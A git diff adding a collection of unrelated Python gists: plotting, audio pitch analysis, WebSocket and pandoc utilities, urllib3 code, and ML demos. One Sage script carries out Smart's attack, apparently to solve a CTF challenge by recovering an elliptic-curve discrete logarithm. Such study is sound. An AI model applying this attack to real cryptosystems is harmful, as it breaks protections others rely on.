+            if self.chromLengths in ChromVis.chromInfo:
+                info = ChromVis.chromInfo[self.chromLengths]['lengths']
+                self.chromLengths = []
+                for i in self.chroms:
+                    if i in info:
+                        self.chromLengths.append(info[i])
+        if type(self.centromerePos) is list:
+            pass
+        else:
+            if self.centromerePos in ChromVis.chromInfo:
+                info = ChromVis.chromInfo[self.centromerePos]['centromeres']
+                self.centromerePos = []
+                for i in self.chroms:
+                    if i in info:
+                        self.centromerePos.append(info[i])
+        return True
+
+    def _get_max_chrom_len(self):
+        return max(self.chromLengths)
+
+    def _get_max_val(self):
+        max_val = 0
+        for sample in self.data:
+            if sample not in ['chromosomes', 'positions']:
+                if max(self.data[sample]) > max_val:
+                    max_val = max(self.data[sample])
+        return float(max_val)
+
+    def _make_canvas(self):
+        return plt.figure(figsize=(self.figWidth, self.figHeight))
+
+    def _make_grid(self):
+        return mpl.gridspec.GridSpec(
+            len(self.chromLengths), sum(self.gridRatio),
+            hspace=self.chromSpacing)
+
+    def _get_sample_names(self):
+        names = []
+        for sample in self.data:
+            if sample not in ['chromosomes', 'positions']:
+                names.append(sample)
+        return names
+
+    def _get_chrom_scaled_len(self):
+        return int(self.chromLengths[self.curChromNum] *
+                   self.descalingFactor / self.maxChromLen)
+
+    def _get_centromere_position(self):
+        return int((self.centromerePos[self.curChromNum] *
+                    self.curChromScaledLen) /
+                   self.chromLengths[self.curChromNum])
+
+    def _get_chrom_data(self):
+        df = self.data[self.data.chromosomes == self.curChromName]
+        positions = df.positions.apply(
+            lambda x: int((x * self.curChromScaledLen) /
+                          self.chromLengths[self.curChromNum]))
+        values = []
+        for sample in self.sampleNames:
+            values.append(df[sample].apply(
+                lambda x: np.log2(x) / np.log2(self.maxVal)))
+        return positions, np.asarray(values).T
+
+    def _make_colors(self):
+        return sns.color_palette(self.colorPalette,
+                                 len(self.sampleNames), desat=0.7)
+
+    def _make_bar_values(self):
+        bar_vals = {}
+        max_bar_val = 0
+        for chrom in self.chroms:
+            df = self.data[self.data.chromosomes == chrom]
+            temp = []
+            for sample in self.sampleNames:
+                v = df[sample].sum()
+                temp.append(v)
+                if v > max_bar_val:
+                    max_bar_val = v
+            bar_vals[chrom] = temp
+        return bar_vals, max_bar_val
+
+    def _make_label_axis(self):
+        ax = plt.subplot(self.grid[self.curChromNum, :self.gridRatio[0]])
+        ax.set_ylim((0, 1))
+        ax.set_xlim((0, 1))
+        ax.text(1, 0.25, self.curChromName, fontsize=20,
+                horizontalalignment='right')
+        return ChromVis._clean_axis(ax)
+
+    def _make_bar_axis(self):
+        ax = plt.subplot(self.grid[self.curChromNum, self.gridRatio[0]:
+                                   self.gridRatio[0] + self.gridRatio[1]])
+        x = [i for i in range(len(self.barVals[self.curChromName]))]
+        y = [i for i in self.barVals[self.curChromName]]
+        bar_list = ax.barh(x, y, 0.75)
+        for i in range(len(bar_list)):
+            bar_list[i].set_color(self.colors[i])
+        ax.set_ylim((0, len(self.barVals[self.curChromName])))
+        ax.set_xlim((0, self.maxBarVal))
+        return ChromVis._clean_axis(ax)
+
+    def _make_chrom_axis(self):
+        ax = plt.subplot(self.grid[self.curChromNum, self.gridRatio[0] +
+                                   self.gridRatio[1]:])
+        ax.plot([0, self.curCenPos - 5], [-1, -1], alpha=0.6, c='grey', lw=3)
+        ax.plot([self.curCenPos + 5, self.curChromScaledLen],
+                [-1, -1], alpha=0.6, c='grey', lw=3)
+        ax.scatter([self.curCenPos], [-1], c='crimson', lw=0, s=30, alpha=1)
+        for p, vv in zip(self.curPositions, self.curValues):
+            for c, v in zip(self.colors, vv):
+                ax.plot([p, p + 0.01], [0, v * self.valScalingFactor],
+                        lw=3, c=c, alpha=0.8)
+        ax.set_xlim((0, self.descalingFactor))
+        ax.set_ylim((-3, self.valScalingFactor))
+        return ChromVis._clean_axis(ax)
diff --git a/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/._snippet.py b/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/._snippet.py differ
diff --git a/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/snippet.py b/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/snippet.py
new file mode 100644
index 00000000..b1002933
--- /dev/null
+++ b/hard-gists/e68c2bcb3d0893eafc0025d1104a8c4a/snippet.py
@@ -0,0 +1,70 @@
+#!/usr/bin/env python3
+
+import sys
+from scipy.io import wavfile
+from numpy import *
+from pylab import *
+
+'''Voice ranges for male 'M' and female 'M' humans, those gave us 98.9 accuracy
+from given samples'''
+M = (60, 180)
+F = (160, 270)
+
+def hps(signal, frequency, n=5):
+    '''
+    HPS method for a given signal sample with a certain frequency
+    The default number of iterations is 5, can be changed via the optional
+    parameter n.
+    Returns a vector of frequencies values len(signal)/n wide.
+    Since addition accumulates a lot of noise in lower frequencies (circa 40Hz)
+    we use multiplication which implies there must be 5 nearly perfect
+    harmonics in the sample.
+    '''
+    window_size = len(signal)
+    signal = signal * hamming(window_size)  # hamming window to smooth out
+    transformed = abs(fft(signal, window_size))/frequency  # normalization
+    short = copy(transformed)
+    for i in range(2, n + 1):  # take every n-th sample
+        x = copy(transformed[::i])
+        short = short[:len(x)]
+        short *= x
+    return short
+
+
+def sex_detector(filename, window_size=2**14, n=5, window_span=10):
+    '''
+    Given a single-channeled .wav file filename,
+    return a single letter 'K' or 'M' if the voice
+    is detected as a female or male
+    '''
+    frequency, signal = wavfile.read(filename)
+    length = len(signal)
+    '''overlap is how much we divide the window the the smaller overlap the
+    faster but less acurate the method will be'''
+    overlap = 8
+
+    results = []
+    windows = range(max(0, length//2 - window_span*window_size),
+                    min(length - 1, length//2 + window_span*window_size),
+                    window_size//overlap)
+    '''
+    We take out samples from the middle of the signal (length//2).
+    We then run hps over window_span number of samples left and right,
+    overlapping by window_size/overlap elements.
+    '''
+    results = [hps(signal[i:i+window_size], frequency, n=n) for i in windows]
+
+    x = linspace(0, frequency, window_size, endpoint=False)[:len(results[0])]
+    results = [element for element in results if len(element) == len(x)]
+    results = sum(results, axis=0)
+
+    '''Best way to determine way is sum parts of the signals between
+    male/female frequencies '''
+    male = sum([res for f, res in zip(x, results) if f >= M[0] and f <= M[1]])
+    fem = sum([res for f, res in zip(x, results) if f >= F[0] and f <= F[1]])
+
+    return 'K' if fem > male else 'M'
+
+
+if __name__ == '__main__':
+    print(sex_detector(sys.argv[1]))
diff --git a/hard-gists/e6d0864738da10cb9685/._snippet.py b/hard-gists/e6d0864738da10cb9685/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e6d0864738da10cb9685/._snippet.py differ
diff --git a/hard-gists/e6d0864738da10cb9685/snippet.py b/hard-gists/e6d0864738da10cb9685/snippet.py
new file mode 100644
index 00000000..59b79191
--- /dev/null
+++ b/hard-gists/e6d0864738da10cb9685/snippet.py
@@ -0,0 +1,58 @@
+# Autobahn client with auto-reconnect capability
+# Totally based on https://github.com/tavendo/AutobahnPython/blob/master/examples/twisted/wamp/beginner/client.py
+
+import sys
+from twisted.python import log
+from twisted.internet import reactor
+from twisted.internet.defer import inlineCallbacks
+from twisted.internet.protocol import ReconnectingClientFactory
+from autobahn.twisted import wamp, websocket
+from autobahn.wamp import types
+
+
+class MyFrontendComponent(wamp.ApplicationSession):
+    # TODO: coding fun :)
+    def onJoin(self, details):
+        pass
+
+    def onDisconnect(self):
+        pass
+
+
+class MyClientFactory(websocket.WampWebSocketClientFactory, ReconnectingClientFactory):
+    maxDelay = 30
+
+    def clientConnectionFailed(self, connector, reason):
+        print "*************************************"
+        print "Connection Failed"
+        print "reason:", reason
+        print "*************************************"
+        ReconnectingClientFactory.clientConnectionFailed(self, connector, reason)
+
+    def clientConnectionLost(self, connector, reason):
+        print "*************************************"
+        print "Connection Lost"
+        print "reason:", reason
+        print "*************************************"
+        ReconnectingClientFactory.clientConnectionLost(self, connector, reason)
+
+
+if __name__ == '__main__':
+    ## 0) start logging to console
+    log.startLogging(sys.stdout)
+
+    ## 1) create a WAMP application session factory
+    component_config = types.ComponentConfig(realm = "realm1")
+    session_factory = wamp.ApplicationSessionFactory(config = component_config)
+    session_factory.session = MyFrontendComponent
+
+    ## 2) create a WAMP-over-WebSocket transport client factory
+    transport_factory = MyClientFactory(session_factory)
+
+    ## 3) start the client from a Twisted endpoint
+    transport_factory.host = 'localhost'
+    transport_factory.port = 8080
+    websocket.connectWS(transport_factory)
+
+    ## 4) now enter the Twisted reactor loop
+    reactor.run()
diff --git a/hard-gists/e6e53cbe679d3ec77e25/._snippet.py b/hard-gists/e6e53cbe679d3ec77e25/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e6e53cbe679d3ec77e25/._snippet.py differ
diff --git a/hard-gists/e6e53cbe679d3ec77e25/snippet.py b/hard-gists/e6e53cbe679d3ec77e25/snippet.py
new file mode 100644
index 00000000..66a9851e
--- /dev/null
+++ b/hard-gists/e6e53cbe679d3ec77e25/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+
+r"""Pandoc filter to insert arbitrary raw output markup 
+as Code/CodeBlocks with an attribute raw=<outputformat>.
+
+Especially useful for inserting LaTeX code which pandoc will
+otherwise mangle:
+
+    ````{raw=latex}
+    \let\Begin\begin
+    \let\End\end
+    ````
+or for making HTML opaque to pandoc, which will otherwise
+show the text between tags in other output formats,
+
+or for allowing Markdown in the arguments of LaTeX commands 
+or the contents of LaTeX environments
+
+    `\textsf{`{raw=latex}<span class=sans>San Seriffe</span>`}`{raw=latex}
+    
+    ````{raw=latex}
+    \begin{center}
+    ````
+    This is *centered*!
+    ````{raw=latex}
+    \end{center}
+    ````
+
+or for header-includes in metadata:
+
+    ---
+    header-includes: |
+      ````{raw=latex}
+      \usepackage{pgfpages}
+      \pgfpagesuselayout{2 on 1}[a4paper]
+      ````
+    ...
+
+See <https://github.com/jgm/pandoc/issues/2139>
+"""
+
+from pandocfilters import RawInline, RawBlock, toJSONFilter
+from pandocattributes import PandocAttributes
+
+raw4code = { 'Code': RawInline, 'CodeBlock': RawBlock }
+
+def code2raw(key, val, format, meta):
+    if not key in raw4code:
+        return None
+    attrs = PandocAttributes(val[0], format='pandoc')
+    raw = attrs.kvs.get('raw', None)
+    if raw:
+        # if raw != format:     # but what if we output markdown?
+        #     return []
+        return raw4code[key](raw, val[-1])
+    else:
+        return None
+
+
+if __name__ == "__main__":
+    toJSONFilter(code2raw)
diff --git a/hard-gists/e76e7c2a2aff228d7807/._snippet.py b/hard-gists/e76e7c2a2aff228d7807/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e76e7c2a2aff228d7807/._snippet.py differ
diff --git a/hard-gists/e76e7c2a2aff228d7807/snippet.py b/hard-gists/e76e7c2a2aff228d7807/snippet.py
new file mode 100644
index 00000000..891d00de
--- /dev/null
+++ b/hard-gists/e76e7c2a2aff228d7807/snippet.py
@@ -0,0 +1,61 @@
+# original file name: solve_sssa_attack.sage
+
+from sage.all import *
+ 
+p = 16857450949524777441941817393974784044780411511252189319
+A = 16857450949524777441941817393974784044780411507861094535
+B = 77986137112576 
+
+E = EllipticCurve(GF(p), [A, B])
+
+print E.order() == p
+
+g = E(5732560139258194764535999929325388041568732716579308775, 14532336890195013837874850588152996214121327870156054248)
+v = E(2609506039090139098835068603396546214836589143940493046, 8637771092812212464887027788957801177574860926032421582)
+
+def hensel_lift(curve, p, point):
+    A, B = map(long, (E.a4(), E.a6()))
+    x, y = map(long, point.xy())
+ 
+    fr = y**2 - (x**3 + A*x + B)
+    t = (- fr / p) % p 
+    t *= inverse_mod(2 * y, p)  # (y**2)' = 2 * y
+    t %= p
+    new_y = y + p * t
+    return x, new_y
+ 
+# lift points
+x1, y1 = hensel_lift(E, p, g)
+x2, y2 = hensel_lift(E, p, v)
+ 
+# calculate new A, B (actually, they will be the same here)
+mod = p ** 2
+ 
+A2 = y2**2 - y1**2 - (x2**3 - x1**3)
+A2 = A2 * inverse_mod(x2 - x1, mod)
+A2 %= mod
+ 
+B2 = y1**2 - x1**3 - A2 * x1
+B2 %= mod
+ 
+# new curve
+E2 = EllipticCurve(IntegerModRing(p**2), [A2, B2])
+ 
+# calculate dlog
+g2s = (p - 1) * E2(x1, y1)
+v2s = (p - 1) * E2(x2, y2)
+ 
+x1s, y1s = map(long, g2s.xy())
+x2s, y2s = map(long, v2s.xy())
+ 
+dx1 = (x1s - x1) / p % p
+dx2 = (y1s - y1) / p
+dy1 = (x2s - x2)
+dy2 = (y2s - y2) % p
+
+print "%d, %d, %d, %d, %d" % (dx1, dy1, dx2, dy2, p)
+
+m = dy1 * inverse_mod(dx1, p) * dx2 * inverse_mod(dy2, p)
+m %= p
+
+print m
diff --git a/hard-gists/e7b0bc65927b7987b7d4/._snippet.py b/hard-gists/e7b0bc65927b7987b7d4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e7b0bc65927b7987b7d4/._snippet.py differ
diff --git a/hard-gists/e7b0bc65927b7987b7d4/snippet.py b/hard-gists/e7b0bc65927b7987b7d4/snippet.py
new file mode 100644
index 00000000..6684aa41
--- /dev/null
+++ b/hard-gists/e7b0bc65927b7987b7d4/snippet.py
@@ -0,0 +1,7 @@
+from OpenSSL.crypto import load_certificate, FILETYPE_PEM
+
+cert_file_string = open("esx.crt", "rb").read()
+cert = load_certificate(FILETYPE_PEM, cert_file_string)
+
+sha1_fingerprint = cert.digest("sha1")
+print sha1_fingerprint
\ No newline at end of file
diff --git a/hard-gists/e82c16e0401a77dec92a/._snippet.py b/hard-gists/e82c16e0401a77dec92a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e82c16e0401a77dec92a/._snippet.py differ
diff --git a/hard-gists/e82c16e0401a77dec92a/snippet.py b/hard-gists/e82c16e0401a77dec92a/snippet.py
new file mode 100644
index 00000000..ab916930
--- /dev/null
+++ b/hard-gists/e82c16e0401a77dec92a/snippet.py
@@ -0,0 +1,21 @@
+#pipista is required to run
+import pipista
+pipista.pypi_download('Django', '1.6.5')
+
+from urllib import urlretrieve
+import tarfile
+import shutil
+import os
+ 
+print 'Installing django...'
+with tarfile.open('Django-1.6.5.tar.gz', 'r') as i:
+	i.extractall()
+ 
+shutil.move('Django-1.6.5/django', '.')
+shutil.rmtree('Django-1.6.5')
+os.remove('Django-1.6.5.tar.gz')
+print 'Installation complete.' 
+print 'Testing...'
+ 
+import django
+print django.VERSION
diff --git a/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/._snippet.py b/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/._snippet.py differ
diff --git a/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/snippet.py b/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/snippet.py
new file mode 100644
index 00000000..d98bf553
--- /dev/null
+++ b/hard-gists/e93532d5e7ddf0ec56c336499165c4dc/snippet.py
@@ -0,0 +1,179 @@
+from __future__ import absolute_import
+import email.utils
+import mimetypes
+
+from .packages import six
+
+
+def guess_content_type(filename, default='application/octet-stream'):
+    """
+    Guess the "Content-Type" of a file.
+
+    :param filename:
+        The filename to guess the "Content-Type" of using :mod:`mimetypes`.
+    :param default:
+        If no "Content-Type" can be guessed, default to `default`.
+    """
+    if filename:
+        return mimetypes.guess_type(filename)[0] or default
+    return default
+
+
+def format_header_param(name, value):
+    """
+    Helper function to format and quote a single header parameter.
+
+    Particularly useful for header parameters which might contain
+    non-ASCII values, like file names. This follows RFC 2231, as
+    suggested by RFC 2388 Section 4.4.
+
+    :param name:
+        The name of the parameter, a string expected to be ASCII only.
+    :param value:
+        The value of the parameter, provided as a unicode string.
+    """
+    if not any(ch in value for ch in '"\\\r\n'):
+        result = '%s="%s"' % (name, value)
+        try:
+            result.encode('ascii')
+        except (UnicodeEncodeError, UnicodeDecodeError):
+            pass
+        else:
+            return result
+    if not six.PY3 and isinstance(value, six.text_type):  # Python 2:
+        value = value.encode('utf-8')
+    value = email.utils.encode_rfc2231(value, 'utf-8')
+    # value = '%s*=%s' % (name, value)
+    value = '%s="%s"' % (name, value.encode('utf-8'))
+    return value
+
+
+class RequestField(object):
+    """
+    A data container for request body parameters.
+
+    :param name:
+        The name of this request field.
+    :param data:
+        The data/value body.
+    :param filename:
+        An optional filename of the request field.
+    :param headers:
+        An optional dict-like object of headers to initially use for the field.
+    """
+    def __init__(self, name, data, filename=None, headers=None):
+        self._name = name
+        self._filename = filename
+        self.data = data
+        self.headers = {}
+        if headers:
+            self.headers = dict(headers)
+
+    @classmethod
+    def from_tuples(cls, fieldname, value):
+        """
+        A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters.
+
+        Supports constructing :class:`~urllib3.fields.RequestField` from
+        parameter of key/value strings AND key/filetuple. A filetuple is a
+        (filename, data, MIME type) tuple where the MIME type is optional.
+        For example::
+
+            'foo': 'bar',
+            'fakefile': ('foofile.txt', 'contents of foofile'),
+            'realfile': ('barfile.txt', open('realfile').read()),
+            'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'),
+            'nonamefile': 'contents of nonamefile field',
+
+        Field names and filenames must be unicode.
+        """
+        if isinstance(value, tuple):
+            if len(value) == 3:
+                filename, data, content_type = value
+            else:
+                filename, data = value
+                content_type = guess_content_type(filename)
+        else:
+            filename = None
+            content_type = None
+            data = value
+
+        request_param = cls(fieldname, data, filename=filename)
+        request_param.make_multipart(content_type=content_type)
+
+        return request_param
+
+    def _render_part(self, name, value):
+        """
+        Overridable helper function to format a single header parameter.
+
+        :param name:
+            The name of the parameter, a string expected to be ASCII only.
+        :param value:
+            The value of the parameter, provided as a unicode string.
+        """
+        return format_header_param(name, value)
+
+    def _render_parts(self, header_parts):
+        """
+        Helper function to format and quote a single header.
+
+        Useful for single headers that are composed of multiple items. E.g.,
+        'Content-Disposition' fields.
+
+        :param header_parts:
+            A sequence of (k, v) typles or a :class:`dict` of (k, v) to format
+            as `k1="v1"; k2="v2"; ...`.
+        """
+        parts = []
+        iterable = header_parts
+        if isinstance(header_parts, dict):
+            iterable = header_parts.items()
+
+        for name, value in iterable:
+            if value:
+                parts.append(self._render_part(name, value))
+
+        return '; '.join(parts)
+
+    def render_headers(self):
+        """
+        Renders the headers for this request field.
+        """
+        lines = []
+
+        sort_keys = ['Content-Disposition', 'Content-Type', 'Content-Location']
+        for sort_key in sort_keys:
+            if self.headers.get(sort_key, False):
+                lines.append('%s: %s' % (sort_key, self.headers[sort_key]))
+
+        for header_name, header_value in self.headers.items():
+            if header_name not in sort_keys:
+                if header_value:
+                    lines.append('%s: %s' % (header_name, header_value))
+
+        lines.append('\r\n')
+        return '\r\n'.join(lines)
+
+    def make_multipart(self, content_disposition=None, content_type=None,
+                       content_location=None):
+        """
+        Makes this request field into a multipart request field.
+
+        This method overrides "Content-Disposition", "Content-Type" and
+        "Content-Location" headers to the request parameter.
+
+        :param content_type:
+            The 'Content-Type' of the request body.
+        :param content_location:
+            The 'Content-Location' of the request body.
+
+        """
+        self.headers['Content-Disposition'] = content_disposition or 'form-data'
+        self.headers['Content-Disposition'] += '; '.join([
+            '', self._render_parts(
+                (('name', self._name), ('filename', self._filename))
+            )
+        ])
+        self.headers['Content-Type'] = content_type
+        self.headers['Content-Location'] = content_location
\ No newline at end of file
diff --git a/hard-gists/e9421f06ea3a62bfbb8c/._snippet.py b/hard-gists/e9421f06ea3a62bfbb8c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e9421f06ea3a62bfbb8c/._snippet.py differ
diff --git a/hard-gists/e9421f06ea3a62bfbb8c/snippet.py b/hard-gists/e9421f06ea3a62bfbb8c/snippet.py
new file mode 100644
index 00000000..f0e993e2
--- /dev/null
+++ b/hard-gists/e9421f06ea3a62bfbb8c/snippet.py
@@ -0,0 +1,110 @@
+import numpy as np
+import matplotlib.pyplot as plt
+from numpy import random
+import seaborn as sns
+from sklearn import metrics
+from puwrapper import PUWrapper
+from sklearn.linear_model import LogisticRegression,LogisticRegressionCV
+sns.set_style("white")
+random.seed(0)
+
+n1=100; n2=500; n=n1+n2;
+mu1=[0,0]; mu2=[2,2]; Sigma1=0.1*np.identity(2); Sigma2=0.5*np.identity(2);
+X=np.r_[random.multivariate_normal(mu1,Sigma1,n1),
+        random.multivariate_normal(mu2,Sigma2,n2)]
+y=np.concatenate([np.repeat(1,n1),np.repeat(0,n2)])
+
+s=np.zeros(n,dtype=np.int32)
+idxp=np.arange(n)[y==1][:np.int32(n1*0.3)]
+s[idxp]=1
+idx=random.permutation(n); X=X[idx]; y=y[idx]; s=s[idx];
+
+# now s[i] indicates X[i] is positive or unlabeled
+
+score=lambda l1,l2: metrics.f1_score(l1,l2,average=None)[1]
+scorer=metrics.make_scorer(score)
+
+from rbfmodel_wrapper import RbfModelWrapper
+from sklearn.grid_search import GridSearchCV
+Xce=X[np.random.permutation(len(X))[:100]]
+
+base1=GridSearchCV(RbfModelWrapper(LogisticRegression(),Xce=Xce),param_grid={"gamma":np.logspace(-1,1,6)},scoring=scorer)
+base2=GridSearchCV(RbfModelWrapper(LogisticRegression(),Xce=Xce),param_grid={"gamma":np.logspace(-1,1,6)},scoring=scorer)
+
+clf=PUWrapper(base1).fit(X,s)
+trad_clf=base2.fit(X,s)
+print "accuracy (PU):",metrics.accuracy_score(y[s==0],clf.predict(X[s==0]))
+print "pos's F1 (PU):",score(y[s==0],clf.predict(X[s==0]))
+
+offset=.5
+xx,yy=np.meshgrid(np.linspace(X[:,0].min()-offset,X[:,0].max()+offset,100),
+                  np.linspace(X[:,1].min()-offset,X[:,1].max()+offset,100))
+
+label=trad_clf.predict(X)
+proba=trad_clf.predict_proba(np.c_[xx.ravel(),yy.ravel()])
+Z=proba[:,1]
+Z=Z.reshape(xx.shape)
+
+label2=clf.predict(X)
+proba=clf.predict_proba(np.c_[xx.ravel(),yy.ravel()])
+Z2=proba[:,1]
+Z2=Z2.reshape(xx.shape)
+
+"""
+b1=plt.scatter(X[s==1][:,0],X[s==1][:,1],c="blue",s=50)
+b2=plt.scatter(X[s==0][:,0],X[s==0][:,1],c="grey",s=50)
+plt.axis("tight")
+plt.xlim((X[:,0].min()-offset,X[:,0].max()+offset))
+plt.ylim((X[:,1].min()-offset,X[:,1].max()+offset))
+plt.legend([b1,b2],
+           ["positive","unlabeled"],
+           prop={"size":10},loc="upper left")
+plt.title("Positive and unlabeled data")
+plt.tight_layout()
+plt.show()
+"""
+
+"""
+b1=plt.scatter(X[y==1][:,0],X[y==1][:,1],c="blue",s=50)
+b2=plt.scatter(X[y==0][:,0],X[y==0][:,1],c="red",s=50)
+plt.axis("tight")
+plt.xlim((X[:,0].min()-offset,X[:,0].max()+offset))
+plt.ylim((X[:,1].min()-offset,X[:,1].max()+offset))
+plt.legend([b1,b2],
+           ["positive","negative"],
+           prop={"size":10},loc="upper left")
+plt.title("Samples with true label")
+plt.tight_layout()
+plt.show()
+"""
+
+"""
+a1=plt.contour(xx, yy, Z2, levels=[0.5], linewidths=2, colors='green')
+b1=plt.scatter(X[label==1][:,0],X[label==1][:,1],c="blue",s=50)
+b2=plt.scatter(X[label==0][:,0],X[label==0][:,1],c="red",s=50)
+plt.axis("tight")
+plt.xlim((X[:,0].min()-offset,X[:,0].max()+offset))
+plt.ylim((X[:,1].min()-offset,X[:,1].max()+offset))
+plt.legend([a1.collections[0],b1,b2],
+           ["decision boundary","positive","negative"],
+           prop={"size":10},loc="upper left")
+plt.title("Result of traditional classification")
+plt.tight_layout()
+plt.savefig("result_of_tradclf.png")
+plt.show()
+"""
+
+
+a1=plt.contour(xx, yy, Z2, levels=[0.5*clf.c_], linewidths=2, colors='green')
+b1=plt.scatter(X[label2==1][:,0],X[label2==1][:,1],c="blue",s=50)
+b2=plt.scatter(X[label2==0][:,0],X[label2==0][:,1],c="red",s=50)
+plt.axis("tight")
+plt.xlim((X[:,0].min()-offset,X[:,0].max()+offset))
+plt.ylim((X[:,1].min()-offset,X[:,1].max()+offset))
+plt.legend([a1.collections[0],b1,b2],
+           ["decision boundary","positive","negative"],
+           prop={"size":10},loc="upper left")
+plt.title("Result of PU classification")
+plt.tight_layout()
+plt.show()
+
diff --git a/hard-gists/e9625de0711f29cd0a4b57502648dd86/._snippet.py b/hard-gists/e9625de0711f29cd0a4b57502648dd86/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e9625de0711f29cd0a4b57502648dd86/._snippet.py differ
diff --git a/hard-gists/e9625de0711f29cd0a4b57502648dd86/snippet.py b/hard-gists/e9625de0711f29cd0a4b57502648dd86/snippet.py
new file mode 100644
index 00000000..66cb0e9a
--- /dev/null
+++ b/hard-gists/e9625de0711f29cd0a4b57502648dd86/snippet.py
@@ -0,0 +1,98 @@
+# -*- coding: utf-8 -*-
+
+# TensowFlowのインポート
+import tensorflow as tf
+# MNISTを読み込むためinput_data.pyを同じディレクトリに置きインポートする
+# input_data.pyはチュートリアル内にリンクがあるのでそこから取得する
+# https://tensorflow.googlesource.com/tensorflow/+/master/tensorflow/examples/tutorials/mnist/input_data.py
+import input_data
+
+import time
+
+# 開始時刻
+start_time = time.time()
+print "開始時刻: " + str(start_time)
+
+# MNISTデータの読み込み
+# 60000点の訓練データ（mnist.train）と10000点のテストデータ（mnist.test）がある
+# 訓練データとテストデータにはそれぞれ0-9の画像とそれに対応するラベル（0-9）がある
+# 画像は28x28px(=784)のサイズ
+# mnist.train.imagesは[60000, 784]の配列であり、mnist.train.lablesは[60000, 10]の配列
+# lablesの配列は、対応するimagesの画像が3の数字であるならば、[0,0,0,1,0,0,0,0,0,0]となっている
+# mnist.test.imagesは[10000, 784]の配列であり、mnist.test.lablesは[10000, 10]の配列
+print "--- MNISTデータの読み込み開始 ---"
+mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
+print "--- MNISTデータの読み込み完了 ---"
+
+# 訓練画像を入れる変数
+# 訓練画像は28x28pxであり、これらを1行784列のベクトルに並び替え格納する
+# Noneとなっているのは訓練画像がいくつでも入れられるようにするため
+x = tf.placeholder(tf.float32, [None, 784])
+
+# 重み
+# 訓練画像のpx数の行、ラベル（0-9の数字の個数）数の列の行列
+# 初期値として0を入れておく
+W = tf.Variable(tf.zeros([784, 10]))
+
+# バイアス
+# ラベル数の列の行列
+# 初期値として0を入れておく
+b = tf.Variable(tf.zeros([10]))
+
+# ソフトマックス回帰を実行
+# yは入力x（画像）に対しそれがある数字である確率の分布
+# matmul関数で行列xとWの掛け算を行った後、bを加算する。
+# yは[1, 10]の行列
+y = tf.nn.softmax(tf.matmul(x, W) + b)
+
+# 交差エントロピー
+# y_は正解データのラベル
+y_ = tf.placeholder(tf.float32, [None, 10])
+cross_entropy = -tf.reduce_sum(y_*tf.log(y))
+
+# 勾配硬化法を用い交差エントロピーが最小となるようyを最適化する
+train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)
+
+# 用意した変数Veriableの初期化を実行する
+init = tf.initialize_all_variables()
+
+# Sessionを開始する
+# runすることで初めて実行開始される（run(init)しないとinitが実行されない）
+
+sess = tf.Session()
+sess.run(init)
+
+# 1000回の訓練（train_step）を実行する
+# next_batch(100)で100つのランダムな訓練セット（画像と対応するラベル）を選択する
+# 訓練データは60000点あるので全て使いたいところだが費用つまり時間がかかるのでランダムな100つを使う
+# 100つでも同じような結果を得ることができる
+# feed_dictでplaceholderに値を入力することができる
+print "--- 訓練開始 ---"
+for i in range(1000):
+    batch_xs, batch_ys = mnist.train.next_batch(100)
+    sess.run(train_step, feed_dict={x: batch_xs, y_:batch_ys})
+print "--- 訓練終了 ---"
+
+# 正しいかの予測
+# 計算された画像がどの数字であるかの予測yと正解ラベルy_を比較する
+# 同じ値であればTrueが返される
+# argmaxは配列の中で一番値の大きい箇所のindexが返される
+# 一番値が大きいindexということは、それがその数字である確率が一番大きいということ
+# Trueが返ってくるということは訓練した結果と回答が同じということ
+correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))
+
+# 精度の計算
+# correct_predictionはbooleanなのでfloatにキャストし、平均値を計算する
+# Trueならば1、Falseならば0に変換される
+accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))
+
+# 精度の実行と表示
+# テストデータの画像とラベルで精度を確認する
+# ソフトマックス回帰によってWとbの値が計算されているので、xを入力することでyが計算できる
+print "精度"
+print(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))
+
+# 終了時刻
+end_time = time.time()
+print "終了時刻: " + str(end_time)
+print "かかった時間: " + str(end_time - start_time)
\ No newline at end of file
diff --git a/hard-gists/e972345a37686b9b1362/._snippet.py b/hard-gists/e972345a37686b9b1362/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e972345a37686b9b1362/._snippet.py differ
diff --git a/hard-gists/e972345a37686b9b1362/snippet.py b/hard-gists/e972345a37686b9b1362/snippet.py
new file mode 100644
index 00000000..1be5fbb5
--- /dev/null
+++ b/hard-gists/e972345a37686b9b1362/snippet.py
@@ -0,0 +1,395 @@
+# -*- coding: utf-8 -*-
+# $File: facepp.py
+# $Date: Thu May 16 14:59:36 2013 +0800
+# $Author: jiakai@megvii.com
+#
+# This program is free software. It comes without any warranty, to
+# the extent permitted by applicable law. You can redistribute it
+# and/or modify it under the terms of the Do What The Fuck You Want
+# To Public License, Version 2, as published by Sam Hocevar. See
+# http://sam.zoy.org/wtfpl/COPYING (copied as below) for more details.
+#
